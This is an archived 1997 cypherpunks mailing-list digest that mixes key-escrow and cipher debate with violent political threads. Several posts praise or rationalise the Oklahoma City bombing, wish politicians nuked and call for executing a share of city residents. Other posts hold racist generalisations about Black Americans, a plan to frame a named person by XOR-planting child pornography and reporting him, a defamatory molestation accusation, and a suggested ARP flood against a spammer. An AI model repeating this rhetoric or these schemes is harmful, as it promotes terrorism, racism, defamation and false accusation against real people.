From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 11 May 1997 02:09:43 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <Pine.LNX.3.91.970510115710.1202B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> At 09:26 PM 5/9/97 -0800, Tim May wrote:
> 
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> ......................................................
> 
> 
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

I have to say I agree, I believe that violence is probably the only way 
to proceed in order to defend ourselves against the criminals within 
modern societies, however, I seperate this entirely from the action of 
killing indiscriminately.

I have to say also that I believe that if one were to drop a fairly large 
bomb on a major US city, say LA or NYC, the probable outcome would be 
that 99% of the people killed would be corrupt scum anyway, in DC I would 
imagine the figure would be approching 100%, however, this does not 
absolve one from blame if, through some freak outcome, a small bomb of, 
say, the Timothy McVeigh style happens to kill an innocent person, one is 
still guilty of murder. Part of the reason I despise government so 
greatly is because the poloticians justify their actions by reference to 
"the greater good", ie. "If a few thousand innocent conscripted members of 
the army get killed defending our society so be it."

In the end, it also comes down to what action you believe is justifiable 
in the name of freedom, ie. When I say I believe 99% of people in sat NYC 
are corrupt scum this is true, but to varying degrees, I would personally 
say, as an estimate, only 3 to 5% of these people should be executed 
for their crimes, the others are either corrupt morally on a small level, 
or are just naive, eg. I believe people who vote in democratic elections 
commit a crime against me by being part of the process which brings about 
authoritarian government, even if they vote for a party that proposed to 
rule according to libertarian values they still perpetuate a system where 
the majority control the actions of the minority, however, I would not kill 
these people, I believe they are simply ill educated and unable to comprehend 
the wrong they do me.

The bottom line is, I disagree with what Tim said but I do sympathise 
with the reasons why he said it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 03:38:06 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v0300780daf9a8837f017@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
>On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
>>
>> (Don't forget that during the L.A. riots it was the Koreans who prominently
>> were defending themselves and their property with so-called "assault
>> weapons" against the coloreds. The main justice that came out of those
>> riots was that 30 square blocks of inner L.A. remain burned out and
>> unrebuilt, leaving those who rioted and looted with no local stores to shop
>> in. And the Koreans are even vastly better armed than before.)
>
>I wonder what would be the "main justice" to result from the
>cypherpunks riots you are advocating?
>

And just what "cypherpunks riots" would those be? I don't advocate that
white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
Raton, etc.--as some other groups have repeatedly done (South Central LA,
Liberty City, Asbury Park, etc.).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 03:42:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970510122931.54997@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > > >I was saying that if Sam needs to read my encrypted file/mail, then
> > > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > > >my encrypted file/mail, then I should list Acme,Inc. as a
> > > >crypto-recipient.
> > > >
> > > >There's no safe of keys.  It's even simpler to explain to an executive.
> > 
> > Unfortunately, it doesn't solve the problem at all.  In fact it
> > doesn't even address the problem.  So much so that reading these
> > replies makes me think that I am looking at different problem than
> > you. 
> 
> It seems to me that it is you Kent who is scrambling to find plausible
> reasons why key escrow is the best or only technology to use in
> corporate email systems.

Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
to implement Carl's model, it would already have happened, given the 
dislike of key-escrow in the cryptographic community.  But, when 
examined in detail, in light of real requirements from organizations, 
it is not easy at all.

I'm not "scrambling", Adam.  If there is anything you need to
understand here, it is that I am *not* in favor of GAK.  Chisel that
in stone and think about it a bit -- your misunderstanding of my
motives causes you to gloss over my arguments and not think about
them.  I am sympathetic to your concerns, and I am trying to explain
something I truly think people are missing.  Think of me as 
intelligent, Adam, and I will do the same for you.

> > [long analogy to physical locks and keys on company premises]
> >
> > With this background, perhaps now you can see why I say that Carl's 
> > solution doesn't even address the problem.  The problem is management 
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> > What part of the organization that is Acme Corp is authorized to know 
> > this particular bit of information?  Because some of the employees 
> > are idiots you want this built automatically into the application 
> > they are using for encryption/email/whatever.  How does this software 
> > know what policy is appropriate for which employee?  How is that 
> > policy distributed?  What is the interface that allows a policy to be 
> > defined?   How do you protect the policy definition from subversion?
> 
> Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> saying on cryptography@c2, that key escrow has complexity problems,
> contrary to what you have previously been arguing :-)

You completely missed the point of the above paragraph -- all those
questions apply to the "encrypt to policy-specified local recipients"
model, and *don't* apply to the key-safe model.  The key-safe model 
has no significant policy issues that need to be embedded in 
software -- the only policy is "when data encryption keys are 
generated a copy is sent to the key-safe (using an encrypted channel, 
of course)."

> > Contrast that with a key-safe model, where a copy of every encryption
> > key is kept in a secure database.  The encryption client software only
> > talks to the key-safe when a new key is generated, over a
> > cryptographically secure channel, of course.  There is no policy the
> > client has to know.  The user encrypts freely without concern about
> > who else should get copies.  The organization knows that there is very
> > little chance of data loss because of lost keys, and can use any
> > policy it chooses to recover keys, from the company president's ad hoc
> > whim to a carefully specified organization al security policy. 
> > 
> > Access to the key-safe is critical, of course, but it can be made 
> > very secure -- a special-purpose piece of hardware that requires 
> > passwords from n out of m key czars before access is granted, for 
> > example.  Or the contents of the key safe can be encrypted via keys 
> > escrowed through a secret sharing mechanism
> 
> I don't see the difference.  With the encrypt to multiple recipients
> approach where the second crypto-recipient is the company key you can
> store the private half of the corporate key using the same techniques
> you discussed above.
> 
> Access to the data requires access to the master key in both cases.

It follows, therefore, that if the master key is compromised in both
systems, all data is compromised.  From that perspective, the systems
are equally secure. 

> You fix the second crypto-recipient in the MUA if you wish to.

This is precisely the point I was alluding to in the policy discussion
above.  In an organizational content, *of course* you will put all the
complexity in the MUA.  The question is, how do you change the 
"master key" indicator that is in each MUA?  Suppose that the 
organization wants different keys for different departments -- how do 
you keep track of which master key goes where?  How do all those 
MUA's get their key policy module updated?

>  The
> fire-wall can reject posts without the second crypto-recipient.

How does the key policy module in the firewall get updated?

>  You
> can use binding cryptography to ensure the fire-wall can tell that it
> is an encrypted copy of the same document without the firewall needing
> access to the master key.  You can't do this company has all keys in
> the safe model, without givin the firewall automatic access to the
> safe, which is a huge security risk.

???
With the key-safe model the firewall never enters into the picture.

> So, I suppose you would argue that oh no, the user can by pass this
> feature of the MUA, they can use a different MUA, or telnet to the
> SMTP port manually.

No, I wouldn't argue that -- I know perfectly well that that neither 
model does any good at all against a determined, competent insider.

[...]

> The advantage of the multiple recipient model is that doesn't commit
> the cardinal sin/design flaw of sharing private crypto keys.

Two things:  First, any crypto system that doesn't deal with 
protection/recovery/secure-use of private keys is incomplete.

Second, keep in mind that we are talking about encryption for an
*organization's* purposes.  The whole meaning of "private" is altered
in that context. 

> Some people have argued that multiple recipient is less suited to GAK,
> and therefore it would be better to use multiple recipient, I'm not
> sure that it makes that much difference.  If we get forced to put the
> government as the second crypto-recipient recipient, the government
> still gets to read all your mail.
> 
> The main argument against company generates all keys, company holds
> all keys, to me is that it's bad crypto design.

You say "tumato"...

> The `it's easier to explain a safe full of all employee keys' to
> management argument is nonsense also.  It's a master key either way
> and just as easy to explain either way: a master key is a key that
> lets you decrypt all mail.

At that level of generality both these systems are identical, and 
equally easy to explain.  It's when you get down to the details that 
things become more interesting.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 01:04:51 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
Message-ID: <3.0.1.32.19970510124931.0075af90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:42 PM 5/8/97 -0800, Tim May wrote:
>At 3:38 PM -0800 5/8/97, kqb@planet.net wrote:
>>What does it take to set up an offshore "remailer bank"?  Of course,
>>the digital cash it uses must be very INefficient, chock full of bit
>>bloat that hosts plenty of not-so-subliminal channels. 8-)
>
>You hit the nail on the head with your last line: subliminal channels.
>
>Even financial software, ostensibly with no export controls, will still
>have to be vetted for export, as any system usable for financial
>cryptography is almost certainly usable for "other purposes."

My old line courtesy of a DYAM (Dead Yellow Asian Male):

"Revolutionaries swim like fish in the sea of commerce."

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Sun, 11 May 1997 01:11:48 +0800
To: <cypherpunks@algebra.com>
Subject: Re: One-Time Pads as Attack Method
Message-ID: <199705101646.MAA21972@main.inetnow.net>
MIME-Version: 1.0
Content-Type: text/plain



Your response is most interesting!  It almost implies you can't publish
for(i=0;i < filesize(B); i++) C[i] = A[i] ^ file_contents[i];

I wonder why the difficulty in simply (I thought of actually going ahead 
and doing this):

Take a posting (B.) to cpunks by Tim May.  THese get disseminated quite
widely and he's well-known; his thoughts and style should make deniability
of the message difficult.

Calculate C = B ^ A such that A = kiddie porn of your choice.

Post the UUENCODE of C. to cypherpunks, send the binary to Tim, etc.

Call your favorite Agency to investigate.

Your variant in which the file B. is known, as in KRNL386.EXE is also viable,
if not more so!

Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
into copyrighted material B a violation of anything, I wonder...  You could
convert everybody's Internet Explorer into a ZIP file containing a setup
and executable for Netscape 3.0!!

At 10:33 AM 5/10/97 -0400, Peter D. Junger wrote:
>00043.an@edtec.com writes:
>
>: 
>: 1. Agents of the Enemy wish to create the appearance of you possessing
>: document A.
>: 2. They obtain some artifact you have emailed, or posted, or possess on
>: your private local storage. ---
>: Possibly even signed.  Call this message B.
>: 3. They create the XOR of A and B, the result being a 'one time pad' C.
>: which of course, gives:
>: private message B XOR C = target bogus message A.  This result is of course
>: not a one time pad;
>: the plan is to accuse you of possessing materials that prove you are
>: trading with the enemy,
>: exchanging kiddie-porn, any of the usual things.
>: 4. This 'one time pad' file C. somehow finds its way into your possession:
>: it is an email attachment,
>: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
>: 5. The agents break down the door and seize all your effects.  
>: 6. They are able to prove that you possess B and C, the XOR of which is A.,
>: a fact that is impossible
>: to have happened at random.
>: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
>: by accident are 0,
>: then you must be guilty.
>
>It was in part for the purpose of demonstrating this possibility that I
>wrote the OPT program that I later realized that I could not publish in
>any form under the ITAR and cannot publish in electronic form under the
>new Commerce Department export regulations (unless I apply for a license
>(that I probably cannot get) from the government, a requirement that
>violates the First Amendment to the United States constitution).  And it
>was the restraints on publishing that and other crypto programs that led
>me to file suit to enjoin the enforcement of the export restrictions on
>cryptography.
>
>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.
>
>Do you think that Microsoft has a one-time-pad that will convert
>Netscape 3.1 into Word for Windows?
>
>
>--
>Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
> EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
>     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:50:23 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <199705101543.KAA12872@mailhub.amaranth.com>
Message-ID: <w3ZH7D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> >Fact is, so long as anybody is free to send a message to someone else,
> >then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
> >the sense of not breaking any laws. Whether tasteful or not, legit.
>
> Yes this is true just as it is ligit for me to make arp request to their
> routers, lots of arp requests <EG>. There is nothing ilegal from me sending
> such a request nor is their any limitation on the number of request that I
> make.

And if they come up with a technical solution, it'll advance the state
of the art and generally make the net a better place.

> As far as the "denial of service" problem that is theirs not mine. After
> all they were not concerned with the problems they caused by dumping
> +1,000,000/day e-mail messages on AOL's servers so why should anyone be
> conserned with their network problem?

Just be prepared for an FBI visit in response to Wallace's complaint
- make sure your entire child pornography / bomb making recipe collection
is securely encrypted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 01:19:58 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <3.0.1.32.19970510130735.00758fb8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 AM 5/10/97 -0700, Blanc wrote:
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.

He didn't say it was a better thing to do.  He said he was coming to understand McVeigh's actions.

It is important that everyone from the uninvolved on up to the ruling classes understand that we are reaching a point where laws won't "work" anymore because power is devolving down the heirarching to the fundamental organizational unit -- the individual.  If two guys with $2K to spend can take out a building or someone else with ten minutes to spend and a Net connection can render export controls ineffective then power relationships have changed.

The faster our "rulers" and their "ruled" understand this, the lower the total body count.  They simply don't have the power any more.  It's gone.

Tim is helping (in his way) to convince others of the facts of the matter.  Dramatic statements carry the message better.

The more people who are convinced that politics is dead, the faster the corpse will decay and the smoother the transition.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:52:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <v03007804af9a5096de5c@[207.167.93.63]>
Message-ID: <8a1H7D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> Innocents died in Dresden. No doubt compelling stories and images could be
> dug up of little Frieda slowly suffocating as the firestorms sucked the air
> out of her underground shelter, or of little Hans screaming for his mother
> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
> admitted to be a  "public demonstration" of allied willingness to destroy
> civilians in what was primarily a "cultural" city, not a significant center
> of military production.

Why go so far back?  How many civilians were murdered by the U.S. gubmint
in Korea, in Viet Nam, in Panama, in Iraq?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:45:30 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705101642.LAA13447@mailhub.amaranth.com>
Message-ID: <ie1H7D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> >Apropos of this last point, I wouldn't be at all surprised if "Yee" and
> >"Ung" turn out to be Koreans interested in defending themselves against
> >these hordes of animals.
>
> Hmmm... the reports I heard failed to mention any names.
>
> I wouldn't be suprised if your analysis was correct. The orientals seem to
> be quite hated by the inter city blacks as they are a constant reminder
> that minorities can thrive and prosper in America (the only color that
> really matters here is green dispite what some would have you think).

I would generalize this statement: the vast majority of U.S. blacks
(whether the inner city parasites or the parasites employed by the
federal/state/local gubmints) extremely hate all successful immigrants,
whether orientals or Russian Jews. So do many non-black Americans.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 18:02:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Certified primes
In-Reply-To: <199705101759.TAA01604@basement.replay.com>
Message-ID: <Pine.A41.3.95.970510132606.54990A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Anonymous wrote:

Another demonstration of the sickness in the mind of Vulis.

> Given Timothy May's propensity to molest little children, is it any 
> surprise that the state of California wants to have him castrated?
> 
>        /\ o-/\  Timothy May
>       ///\|/\\\
>      /   /|\   \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:57:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510133401.006ce484@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


>From frissell@panix.com:

>At 12:35 AM 5/10/97 -0700, Blanc wrote:

>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
understand McVeigh's actions.
.................................................................


He didn't explicity say it was the better thing to do.    But when there is
a decision to be made about a course of action to take, and there are
choices available and you select one over another,  you have evidenced
which one you think is the better.

>Tim is helping (in his way) to convince others of the facts of the matter.
 Dramatic statements carry the message better.

Lately Tim has been making extremely dramatic death statements:   "Kill
them all...they are unworthy of life.", "... I
pray for the deaths of these criminals.",  "Washington is a cancer than can
only be cured with a few megatons of
nuclear disinfectant.", "May they all be vaporized.", etc.  

These are definitely dark in mood and understandable; I also have violently
negative & despairing emotions about these people.   I just wouldn't ever
think of involving those who are innocent bystanders and happened to be in
the wrong place at the wrong time.

This is the same kind of flaw which collectivists make when they set up
groups, governments, any kind of organization: they take a broad sweep of
the population, without being particular about any exceptions to their
rules or their plans.

It has always been the defining element in what is different about the U.S.
from other countries, that individuals receive more attention and
recognition as single entities, with their own defining characteristics,
than anywhere else in the world.   We are more free to descriminate, to
think of people as responsible for their own actions and as deserving of
just consequences for them.   It muddies this concept, to lump a large
aggregate of people into one and treat them all as being the same entity;
it takes the mind from being able to think in terms of specifics, into
thinking instead in broad considerations which overlook the particulars. 

Technology delivers to the single person the possibility of efficacy on
their level, as compared to having to wait for some overseeing body of
authorities to deliver solutions from their stock of tools & means.
Technology also makes it possible to be even more precise about cause &
effect - so that the tools one uses can be of benefit only to the user
without affecting anyone else who is not interested in participating, or in
being affected by, what anyone else may be doing.

I know that critical times call for critical action, but I just don't
expect from anarchist libertarian cypherpunks that they would "throw
caution to the wind" (so to speak) and forget how to think about events and
actions in terms of specifics and utter precision.   

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:52:48 +0800
To: cypherpunks@toad.com
Subject: Re: The War is Underway
Message-ID: <3.0.32.19970510133901.006d755c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>However, while we may think their power is gone, or is almost gone, they
>think otherwise. And we're seeing an accelerating pace of lawmaking, as
>laws are being generated by the 50 states, the various municipalities, and,
>of course, the Feds. Even the lawmakers can't explain what their laws will
>mean, or who will be prosecuted, or how many new prisons will have to be
>built to handle the new felons.
..........................................................


It's a terrible thing, a terrible course of events.   But consider that
they are but the tip of the iceberg; what fuels them is all those
supportive constituents in their voting districts.   What do you recommend
be done to *them*?

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:55:57 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510134242.006c46d4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>Give me a break. The "he must be drunk" argument is the cheapest shot, no
>pun intended, in the book.
>
>(And, please, knock of the use of "Timothy" is a post where one disagrees.
>If "Tim" is fine for most responses, why the sudden formal "Timothy"?
>Another rhetorical device.)
.........................................................


I was being facetious, Timmy.

    ..
Blanc
(I'd say more, but right now I have to go watch "The 5th Element".)
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 05:09:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <19970510135714.39308@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 12:20:51PM -0800, Tim May wrote:
> At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
> >On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> >>
> >> (Don't forget that during the L.A. riots it was the Koreans who prominently
> >> were defending themselves and their property with so-called "assault
> >> weapons" against the coloreds. The main justice that came out of those
> >> riots was that 30 square blocks of inner L.A. remain burned out and
> >> unrebuilt, leaving those who rioted and looted with no local stores to shop
> >> in. And the Koreans are even vastly better armed than before.)
> >
> >I wonder what would be the "main justice" to result from the
> >cypherpunks riots you are advocating?
> >
> 
> And just what "cypherpunks riots" would those be? I don't advocate that
> white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
> Raton, etc.--as some other groups have repeatedly done (South Central LA,
> Liberty City, Asbury Park, etc.).

Just a reference to your more than usually histrionic posts of recent 
days.  Some quotes:

"May they all be vaporized."

"Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors."

"Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that."

"Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line)."

I'm sure someone who was more alert than I am could find many similar 
examples. 

I would expect a "cypherpunk riot" to be a little more aimed at 
cyberspace than real-world suburban neighborhoods.  Wouldn't you?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 11 May 1997 06:34:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <3.0.1.32.19970510153158.0285878c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:57 PM 5/10/97 -0700, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at 
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Several points come to mind:

Tim hasn't suggested that a riot would be useful or likely. He's mentioned
various forms of political violence (e.g., assassination and terrorism) but
he hasn't mentioned riots. They're not the same thing.

Riots aren't necessarily violent, nor are they necessarily or often useful to
their participants .. in fact, they may be counterproductive to the aim(s) of
their participants, except where they give the participants an opportunity to
take symbolic or emotionally satisfying action .. which usually provides very
little long-term change. But they may be useful to the riots' "opponents",
who may also be their instigators. 

I think you've been sucked into conflating "cypherpunk" with "cyberpunk",
e.g., people who define themselves socially by their (positive) relationship
to technology. A cyberpunk riot would probably take place in "cyberspace",
and would probably include messages from corporate sponsors, clean and
orderly virtual streets, and attractively drawn avatars. A cypherpunk is
defined socially/politically by a (negative) relationship to existing
political structures. The Internet *is* a cypherpunk riot.


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iQEVAgUBM3T3OP37pMWUJFlhAQFRPQf/W+O4gZFmfceU+6kXVki/UXsQAh05YQZy
xv8dmlgjtSFUqyTyzyr9KbZe5RvOdx7OI+F7lZlT1ze9DXzBSRZH1Daf4lf7Cabc
O8UNsEEz/uk1KB1mL/8W8NApHIBIYf7rU/ZVR34sQfUHXCSQ2UU7SjqVKMU+wmhf
dG4AgI0FddN/Px8jJRzPfiyp0aWWe1+kF9rrI3b7lU5V0ruG0oO5sldnALW1yXTo
ZRxWyBIBnlttrQaDLbWQRh0qqVNXkNi08AuVTTX78v80W44vdBKBqdUIrDlDpaew
L+O6o/riY9AjdWM2uY9tuEMHKIX5vASJEL+6dCWMH4EkOz2rBux3LA==
=UUDT
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 07:26:29 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
Message-ID: <19970510161002.52031@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 06:17:56PM -0400, Black Unicorn wrote:
> 
> On Sat, 10 May 1997, Adam Back wrote:
> 
> > 
> > Tim May <tcmay@got.net> writes:
> > > However, while we may think their power is gone, or is almost gone, they
> > > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> [The fork in the road is discussed]
> 
> > > Who will actually win?
> > > 
> > > I think we will. They think they will. The war is underway.
> > 
> > So what are we doing to fight our side?  (Apart from fantasizing
> > about nuking the bastards till they glow :-)
> >
> > So what can cypherpunks do?
> > 
> > Write code?
> 
> Yes.  One of the major stumbling blocks I have run into is a lack of code
> which really is refined and reviewed enough to serve the purposes I need
> it to serve.  FC97 did a lot to make some more obscure things obvious, and
> familiarize the players with each other, but the details are often hard to
> come by.  Many of the applications out there are painfully behind in
> interface areas forcing developers to use complicated "toolkits" which
> often lack the basics we need. Finding an analogy to easily explain even
> the basics to a customer is very difficult unless the front end jibes with
> the attempt.
> 
> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

http://adonis.ee.queensu.ca:8000/cast/cast.html

Also 

http://www.entrust.com/library.htm

